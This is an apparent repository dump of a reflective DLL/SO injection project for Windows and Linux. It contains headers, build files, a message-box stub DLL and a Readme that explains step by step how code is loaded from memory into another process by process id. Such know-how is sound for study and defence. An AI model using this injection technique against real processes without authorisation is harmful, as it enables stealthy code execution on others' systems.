├── README.md ├── linux版 ├── inject │ └── src │ │ ├── inject │ │ ├── test │ │ ├── libReflectiveLoader.so │ │ ├── test.c │ │ ├── utils.h │ │ ├── ptrace.h │ │ ├── ptrace.c │ │ ├── utils.c │ │ └── inject.c ├── so │ └── src │ │ ├── libReflectiveLoader.so │ │ ├── ReflectiveLoader.h │ │ └── ReflectiveLoader.c └── README.md └── windows版 ├── bin ├── inject.exe ├── inject.arm.exe ├── inject.x64.exe ├── reflective_dll.dll ├── reflective_dll.arm.dll └── reflective_dll.x64.dll ├── inject ├── inject.sln ├── inject.vcxproj.filters ├── src │ ├── GetProcAddressR.h │ ├── LoadLibraryR.h │ ├── ReflectiveDLLInjection.h │ ├── Inject.c │ ├── GetProcAddressR.c │ └── LoadLibraryR.c ├── inject.vcproj └── inject.vcxproj ├── dll ├── reflective_dll.sln ├── reflective_dll.vcxproj.filters ├── src │ ├── ReflectiveDll.c │ ├── ReflectiveDLLInjection.h │ ├── ReflectiveLoader.h │ └── ReflectiveLoader.c ├── reflective_dll.vcproj └── reflective_dll.vcxproj ├── LICENSE.txt ├── rdi.sln └── Readme.md /README.md: -------------------------------------------------------------------------------- 1 | # ReflectiveInjection 2 | 反射式注入 3 | -------------------------------------------------------------------------------- /linux版/inject/src/inject: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/haidragon/ReflectiveInjection/HEAD/linux版/inject/src/inject -------------------------------------------------------------------------------- /linux版/inject/src/test: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/haidragon/ReflectiveInjection/HEAD/linux版/inject/src/test -------------------------------------------------------------------------------- /windows版/bin/inject.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/haidragon/ReflectiveInjection/HEAD/windows版/bin/inject.exe -------------------------------------------------------------------------------- /windows版/bin/inject.arm.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/haidragon/ReflectiveInjection/HEAD/windows版/bin/inject.arm.exe -------------------------------------------------------------------------------- /windows版/bin/inject.x64.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/haidragon/ReflectiveInjection/HEAD/windows版/bin/inject.x64.exe -------------------------------------------------------------------------------- /windows版/bin/reflective_dll.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/haidragon/ReflectiveInjection/HEAD/windows版/bin/reflective_dll.dll -------------------------------------------------------------------------------- /linux版/so/src/libReflectiveLoader.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/haidragon/ReflectiveInjection/HEAD/linux版/so/src/libReflectiveLoader.so -------------------------------------------------------------------------------- /windows版/bin/reflective_dll.arm.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/haidragon/ReflectiveInjection/HEAD/windows版/bin/reflective_dll.arm.dll -------------------------------------------------------------------------------- /windows版/bin/reflective_dll.x64.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/haidragon/ReflectiveInjection/HEAD/windows版/bin/reflective_dll.x64.dll -------------------------------------------------------------------------------- /linux版/inject/src/libReflectiveLoader.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/haidragon/ReflectiveInjection/HEAD/linux版/inject/src/libReflectiveLoader.so -------------------------------------------------------------------------------- /linux版/inject/src/test.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | int main(){ 4 | printf("main\n"); 5 | while(1){ 6 | 7 | } 8 | return 1; 9 | } 10 | -------------------------------------------------------------------------------- /linux版/inject/src/utils.h: -------------------------------------------------------------------------------- 1 | #define INTEL_RET_INSTRUCTION 0xc3 2 | #define INTEL_INT3_INSTRUCTION 0xcc 3 | 4 | pid_t findProcessByName(char* processName); 5 | long freespaceaddr(pid_t pid); 6 | long getlibcaddr(pid_t pid); 7 | int checkloaded(pid_t pid, char* libname); 8 | long getFunctionAddress(char* funcName); 9 | unsigned char* findRet(void* endAddr); 10 | void usage(char* name); 11 | int isRWX(pid_t pid, void *address); 12 | -------------------------------------------------------------------------------- /linux版/inject/src/ptrace.h: -------------------------------------------------------------------------------- 1 | #ifdef ARM 2 | #define REG_TYPE user_regs 3 | #else 4 | #define REG_TYPE user_regs_struct 5 | #endif 6 | 7 | void ptrace_attach(pid_t target); 8 | void ptrace_detach(pid_t target); 9 | void ptrace_getregs(pid_t target, struct REG_TYPE* regs); 10 | void ptrace_cont(pid_t target); 11 | void ptrace_setregs(pid_t target, struct REG_TYPE* regs); 12 | siginfo_t ptrace_getsiginfo(pid_t target); 13 | void ptrace_read(int pid, unsigned long addr, void *vptr, int len); 14 | void ptrace_write(int pid, unsigned long addr, void *vptr, int len); 15 | void checktargetsig(int pid); 16 | void restoreStateAndDetach(pid_t target, unsigned long addr, void* backup, int datasize, struct REG_TYPE oldregs); 17 | -------------------------------------------------------------------------------- /linux版/README.md: -------------------------------------------------------------------------------- 1 | # Reflective SO Injection 2 | 3 | Reflective SO Injection was inspired by the concept of Reflective DLL Injection. It is virtually the same thing, but implemented to allow loading of SO (Shared Objects) on Linux. Currently only x86_64 is supported and it is only a prototype. The loader code was written by myself, but with the injection code I stole quite a bit of code from the linux-inject project since there is no sense in redoing what has already been done. 4 | 5 | If you are interested in reading more about how this works please read the following blog post 6 | https://infosecguerrilla.wordpress.com/2016/07/21/reflective-so-injection/ 7 | 8 | Known Issues 9 | 10 | 1. SELinux can prevent creation of a RWX mapping in target process causing loader to fail. 11 | 12 | Tested on 13 | * Ubuntu 14.04 x86_64 14 | * Debian 8 x86_64 15 | * Centos 6.8 x86_64 16 | -------------------------------------------------------------------------------- /windows版/inject/inject.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 10.00 3 | # Visual C++ Express 2008 4 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "inject", "inject.vcproj", "{EEF3FD41-05D8-4A07-8434-EF5D34D76335}" 5 | EndProject 6 | Global 7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 8 | Debug|Win32 = Debug|Win32 9 | Release|Win32 = Release|Win32 10 | EndGlobalSection 11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 12 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.ActiveCfg = Release|Win32 13 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.Build.0 = Release|Win32 14 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.ActiveCfg = Release|Win32 15 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.Build.0 = Release|Win32 16 | EndGlobalSection 17 | GlobalSection(SolutionProperties) = preSolution 18 | HideSolutionNode = FALSE 19 | EndGlobalSection 20 | EndGlobal 21 | -------------------------------------------------------------------------------- /windows版/dll/reflective_dll.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 10.00 3 | # Visual C++ Express 2008 4 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "reflective_dll", "reflective_dll.vcproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}" 5 | EndProject 6 | Global 7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 8 | Debug|Win32 = Debug|Win32 9 | Release|Win32 = Release|Win32 10 | EndGlobalSection 11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 12 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32 13 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32 14 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32 15 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32 16 | EndGlobalSection 17 | GlobalSection(SolutionProperties) = preSolution 18 | HideSolutionNode = FALSE 19 | EndGlobalSection 20 | EndGlobal 21 | -------------------------------------------------------------------------------- /windows版/dll/reflective_dll.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | 14 | 15 | Source Files 16 | 17 | 18 | Source Files 19 | 20 | 21 | 22 | 23 | Header Files 24 | 25 | 26 | Header Files 27 | 28 | 29 | -------------------------------------------------------------------------------- /windows版/inject/inject.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | 14 | 15 | Source Files 16 | 17 | 18 | Source Files 19 | 20 | 21 | Source Files 22 | 23 | 24 | 25 | 26 | Header Files 27 | 28 | 29 | Header Files 30 | 31 | 32 | Header Files 33 | 34 | 35 | -------------------------------------------------------------------------------- /windows版/dll/src/ReflectiveDll.c: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // This is a stub for the actuall functionality of the DLL. 3 | //===============================================================================================// 4 | #include "ReflectiveLoader.h" 5 | 6 | // Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are 7 | // defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own 8 | // DllMain and use the LoadRemoteLibraryR() API to inject this DLL. 9 | 10 | // You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c) 11 | extern HINSTANCE hAppInstance; 12 | //===============================================================================================// 13 | BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) 14 | { 15 | BOOL bReturnValue = TRUE; 16 | switch( dwReason ) 17 | { 18 | case DLL_QUERY_HMODULE: 19 | if( lpReserved != NULL ) 20 | *(HMODULE *)lpReserved = hAppInstance; 21 | break; 22 | case DLL_PROCESS_ATTACH: 23 | hAppInstance = hinstDLL; 24 | MessageBoxA( NULL, "Hello from DllMain!", "Reflective Dll Injection", MB_OK ); 25 | break; 26 | case DLL_PROCESS_DETACH: 27 | case DLL_THREAD_ATTACH: 28 | case DLL_THREAD_DETACH: 29 | break; 30 | } 31 | return bReturnValue; 32 | } -------------------------------------------------------------------------------- /windows版/LICENSE.txt: -------------------------------------------------------------------------------- 1 | Copyright (c) 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 2 | All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without modification, are permitted 5 | provided that the following conditions are met: 6 | 7 | * Redistributions of source code must retain the above copyright notice, this list of 8 | conditions and the following disclaimer. 9 | 10 | * Redistributions in binary form must reproduce the above copyright notice, this list of 11 | conditions and the following disclaimer in the documentation and/or other materials provided 12 | with the distribution. 13 | 14 | * Neither the name of Harmony Security nor the names of its contributors may be used to 15 | endorse or promote products derived from this software without specific prior written permission. 16 | 17 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 18 | IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 19 | FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 20 | CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 21 | CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 22 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 23 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 24 | OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 25 | POSSIBILITY OF SUCH DAMAGE. -------------------------------------------------------------------------------- /windows版/inject/src/GetProcAddressR.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H 29 | #define _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H 30 | //===============================================================================================// 31 | #include "ReflectiveDLLInjection.h" 32 | 33 | FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName ); 34 | //===============================================================================================// 35 | #endif 36 | //===============================================================================================// 37 | -------------------------------------------------------------------------------- /windows版/inject/src/LoadLibraryR.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H 29 | #define _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H 30 | //===============================================================================================// 31 | #include "ReflectiveDLLInjection.h" 32 | 33 | DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer ); 34 | 35 | HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength ); 36 | 37 | HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter ); 38 | 39 | //===============================================================================================// 40 | #endif 41 | //===============================================================================================// 42 | -------------------------------------------------------------------------------- /windows版/rdi.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Express 2012 for Windows Desktop 4 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "inject", "inject\inject.vcxproj", "{EEF3FD41-05D8-4A07-8434-EF5D34D76335}" 5 | EndProject 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "reflective_dll", "dll\reflective_dll.vcxproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|ARM = Debug|ARM 11 | Debug|Win32 = Debug|Win32 12 | Debug|x64 = Debug|x64 13 | Release|ARM = Release|ARM 14 | Release|Win32 = Release|Win32 15 | Release|x64 = Release|x64 16 | EndGlobalSection 17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 18 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|ARM.ActiveCfg = Release|ARM 19 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|ARM.Build.0 = Release|ARM 20 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.ActiveCfg = Release|Win32 21 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.Build.0 = Release|Win32 22 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|x64.ActiveCfg = Release|x64 23 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|x64.Build.0 = Release|x64 24 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|ARM.ActiveCfg = Release|ARM 25 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|ARM.Build.0 = Release|ARM 26 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.ActiveCfg = Release|Win32 27 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.Build.0 = Release|Win32 28 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|x64.ActiveCfg = Release|x64 29 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|x64.Build.0 = Release|x64 30 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|ARM.ActiveCfg = Release|ARM 31 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|ARM.Build.0 = Release|ARM 32 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32 33 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32 34 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.ActiveCfg = Release|x64 35 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.Build.0 = Release|x64 36 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|ARM.ActiveCfg = Release|ARM 37 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|ARM.Build.0 = Release|ARM 38 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32 39 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32 40 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.ActiveCfg = Release|x64 41 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.Build.0 = Release|x64 42 | EndGlobalSection 43 | GlobalSection(SolutionProperties) = preSolution 44 | HideSolutionNode = FALSE 45 | EndGlobalSection 46 | EndGlobal 47 | -------------------------------------------------------------------------------- /windows版/dll/src/ReflectiveDLLInjection.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H 29 | #define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H 30 | //===============================================================================================// 31 | #define WIN32_LEAN_AND_MEAN 32 | #include 33 | 34 | // we declare some common stuff in here... 35 | 36 | #define DLL_QUERY_HMODULE 6 37 | 38 | #define DEREF( name )*(UINT_PTR *)(name) 39 | #define DEREF_64( name )*(DWORD64 *)(name) 40 | #define DEREF_32( name )*(DWORD *)(name) 41 | #define DEREF_16( name )*(WORD *)(name) 42 | #define DEREF_8( name )*(BYTE *)(name) 43 | 44 | typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID ); 45 | typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID ); 46 | 47 | #define DLLEXPORT __declspec( dllexport ) 48 | 49 | //===============================================================================================// 50 | #endif 51 | //===============================================================================================// 52 | -------------------------------------------------------------------------------- /windows版/inject/src/ReflectiveDLLInjection.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H 29 | #define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H 30 | //===============================================================================================// 31 | #define WIN32_LEAN_AND_MEAN 32 | #include 33 | 34 | // we declare some common stuff in here... 35 | 36 | #define DLL_METASPLOIT_ATTACH 4 37 | #define DLL_METASPLOIT_DETACH 5 38 | #define DLL_QUERY_HMODULE 6 39 | 40 | #define DEREF( name )*(UINT_PTR *)(name) 41 | #define DEREF_64( name )*(DWORD64 *)(name) 42 | #define DEREF_32( name )*(DWORD *)(name) 43 | #define DEREF_16( name )*(WORD *)(name) 44 | #define DEREF_8( name )*(BYTE *)(name) 45 | 46 | typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID ); 47 | typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID ); 48 | 49 | #define DLLEXPORT __declspec( dllexport ) 50 | 51 | //===============================================================================================// 52 | #endif 53 | //===============================================================================================// 54 | -------------------------------------------------------------------------------- /windows版/Readme.md: -------------------------------------------------------------------------------- 1 | About 2 | ===== 3 | 4 | Reflective DLL injection is a library injection technique in which the concept of reflective programming is employed to perform the loading of a library from memory into a host process. As such the library is responsible for loading itself by implementing a minimal Portable Executable (PE) file loader. It can then govern, with minimal interaction with the host system and process, how it will load and interact with the host. 5 | 6 | Injection works from Windows NT4 up to and including Windows 8, running on x86, x64 and ARM where applicable. 7 | 8 | Overview 9 | ======== 10 | 11 | The process of remotely injecting a library into a process is two fold. Firstly, the library you wish to inject must be written into the address space of the target process (Herein referred to as the host process). Secondly the library must be loaded into that host process in such a way that the library's run time expectations are met, such as resolving its imports or relocating it to a suitable location in memory. 12 | 13 | Assuming we have code execution in the host process and the library we wish to inject has been written into an arbitrary location of memory in the host process, Reflective DLL Injection works as follows. 14 | 15 | * Execution is passed, either via CreateRemoteThread() or a tiny bootstrap shellcode, to the library's ReflectiveLoader function which is an exported function found in the library's export table. 16 | * As the library's image will currently exists in an arbitrary location in memory the ReflectiveLoader will first calculate its own image's current location in memory so as to be able to parse its own headers for use later on. 17 | * The ReflectiveLoader will then parse the host processes kernel32.dll export table in order to calculate the addresses of three functions required by the loader, namely LoadLibraryA, GetProcAddress and VirtualAlloc. 18 | * The ReflectiveLoader will now allocate a continuous region of memory into which it will proceed to load its own image. The location is not important as the loader will correctly relocate the image later on. 19 | * The library's headers and sections are loaded into their new locations in memory. 20 | * The ReflectiveLoader will then process the newly loaded copy of its image's import table, loading any additional library's and resolving their respective imported function addresses. 21 | * The ReflectiveLoader will then process the newly loaded copy of its image's relocation table. 22 | * The ReflectiveLoader will then call its newly loaded image's entry point function, DllMain with DLL_PROCESS_ATTACH. The library has now been successfully loaded into memory. 23 | * Finally the ReflectiveLoader will return execution to the initial bootstrap shellcode which called it, or if it was called via CreateRemoteThread, the thread will terminate. 24 | 25 | Build 26 | ===== 27 | 28 | Open the 'rdi.sln' file in Visual Studio C++ and build the solution in Release mode to make inject.exe and reflective_dll.dll 29 | 30 | Usage 31 | ===== 32 | 33 | To test use the inject.exe to inject reflective_dll.dll into a host process via a process id, e.g.: 34 | 35 | > inject.exe 1234 36 | 37 | License 38 | ======= 39 | 40 | Licensed under a 3 clause BSD license, please see LICENSE.txt for details. 41 | -------------------------------------------------------------------------------- /windows版/inject/src/Inject.c: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 